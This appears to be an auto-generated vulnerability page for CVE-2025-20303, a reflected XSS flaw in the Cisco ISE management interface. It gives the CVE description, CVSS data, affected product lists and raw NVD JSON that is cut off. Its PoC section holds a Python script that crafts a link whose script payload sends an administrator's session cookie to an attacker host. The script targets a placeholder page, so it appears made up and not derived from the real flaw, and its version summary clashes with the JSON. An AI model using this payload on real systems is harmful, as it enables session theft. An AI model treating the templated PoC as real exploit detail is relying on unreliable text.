Security Vulnerability Report
中文
CVE-2025-20303 CVSS 5.4 MEDIUM

CVE-2025-20303

Published: 2025-11-05 17:15:37
Last Modified: 2025-11-19 15:04:28

Description

Multiple vulnerabilities in the web-based management interface of Cisco ISE and Cisco ISE-PIC could allow an authenticated, remote attacker to conduct a reflected XSS attack against a user of the interface. These vulnerabilities are due to insufficient validation of user-supplied input by the web-based management interface of an affected system. An attacker could exploit these vulnerabilities by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. To exploit these vulnerabilities, the attacker must have at least a low-privileged account on the affected device.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:cisco:identity_services_engine:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:cisco:identity_services_engine:3.2.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:cisco:identity_services_engine:3.2.0:patch1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:cisco:identity_services_engine:3.2.0:patch2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:cisco:identity_services_engine:3.2.0:patch3:*:*:*:*:*:* - VULNERABLE
Cisco ISE < 3.3 Patch 4
Cisco ISE < 3.4 Patch 1
Cisco ISE-PIC (受影响版本与ISE相同)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import argparse def exploit_cve_2025_20303(target_url, username, password): """ CVE-2025-20303 PoC - Cisco ISE Reflected XSS This PoC demonstrates how an attacker could exploit the reflected XSS vulnerability in Cisco ISE web management interface. Note: This is for educational and authorized testing purposes only. """ # Malicious JavaScript payload for XSS xss_payload = "<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>" # Login to obtain authenticated session login_url = f"{target_url}/admin/login.jsp" session = requests.Session() # Login with low-privilege account login_data = { 'username': username, 'password': password, 'submit': 'Login' } try: response = session.post(login_url, data=login_data, verify=False) if response.status_code == 200 and 'admin' in response.text: print("[+] Successfully authenticated with low-privilege account") # Craft malicious URL with XSS payload # Target vulnerable endpoint (example path) malicious_url = f"{target_url}/admin/somepage.jsp?param={xss_payload}" print(f"[*] Crafted malicious URL: {malicious_url}") print("[*] When admin visits this URL, the XSS will be triggered") print("[*] Attacker's server will receive the admin's session cookie") return malicious_url else: print("[-] Authentication failed") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-20303 PoC') parser.add_argument('--url', required=True, help='Target Cisco ISE URL') parser.add_argument('--user', required=True, help='Low-privilege username') parser.add_argument('--pass', dest='password', required=True, help='Password') args = parser.parse_args() exploit_cve_2025_20303(args.url, args.user, args.password)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-20303", "sourceIdentifier": "[email protected]", "published": "2025-11-05T17:15:36.737", "lastModified": "2025-11-19T15:04:27.543", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Multiple vulnerabilities in the web-based management interface of Cisco ISE and Cisco ISE-PIC could allow an authenticated, remote attacker to conduct a reflected XSS attack against a user of the interface.\r\n\r These vulnerabilities are due to insufficient validation of user-supplied input by the web-based management interface of an affected system. An attacker could exploit these vulnerabilities by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. To exploit these vulnerabilities, the attacker must have at least a low-privileged account on the affected device."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.1.0", "matchCriteriaId": "A219182D-3C7A-4DFE-B716-3F77705C3D00"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.2.0:-:*:*:*:*:*:*", "matchCriteriaId": "7932D5D5-83E1-4BEF-845A-D0783D4BB750"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.2.0:patch1:*:*:*:*:*:*", "matchCriteriaId": "1B818846-4A6E-4256-B344-281E8C786C43"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.2.0:patch2:*:*:*:*:*:*", "matchCriteriaId": "A44858A2-922A-425A-8B38-0C47DB911A3C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.2.0:patch3:*:*:*:*:*:*", "matchCriteriaId": "53484A32-757B-42F8-B655-554C34222060"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.2.0:patch4:*:*:*:*:*:*", "matchCriteriaId": "0CCAC61F-C273-49B3-A631-31D3AE3EB148"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.2.0:patch5:*:*:*:*:*:*", "matchCriteriaId": "51AEFCE6-FB4A-4B1C-A23D-83CC3CF3FBBD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.2.0:patch6:*:*:*:*:*:*", "matchCriteriaId": "B452B4F0-8510-475E-9AE8-B48FABB4D7D3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.2.0:patch7:*:*:*:*:*:*", "matchCriteriaId": "5733512D-12B5-4098-AF90-9D68217FAC27"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.3.0:-:*:*:*:*:*:*", "matchCriteriaId": "F1B9C2C1-59A4-49A0-9B74-83CCB063E55D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch1:*:*:*:*:*:*", "matchCriteriaId": "DFD29A0B-0D75-4EAB-BCE0-79450EC75DD0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch2:*:*:*:*:*:*", "matchCriteriaId": "E6C94CC4-CC08-4DAF-A606-FDAFC92720A9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch3:*:*:*:*:*:*", "matchCriteriaId": "BB069EA3-7B8C-42B5-8035-2EE5ED3F56E4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch4:*:*:*:*:*:*", "matchCriteriaId": "FF8B81A6-BF44-4E5F-B167-39F61DDCA026"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch5:*:*:*:*:*:*", "matchCriteriaId": "56E0F0EC-3E66-4866-89F5-89B331F3F517"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch6:*:*:*:*:*:*", "matchCriteriaId": "2E3E8937-2859-4A2A-91C0-05F674EF0466"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch7:*:*:*:*:*:*", "matchCriteriaId": "D4B14684-EB9E-405B-85FA-B62E57CB292C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.4.0:-:*:*:*:*:*:*", "matchCriteriaId": "D23905E0-E525-49B1-8E5F-4EB42D186768"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.4.0:patch1:*:*:*:*:*:*", "matchCriteriaId": "74509498-38EF-4345-9583-CEF5C26CA1D8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_services_engine:3.4.0:patch2:*:*:*:*:*:*", "matchCriteriaId": "CD05FF93-7B8C-4283-9DB7-E03FE98FAADF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:identity_service ... (truncated)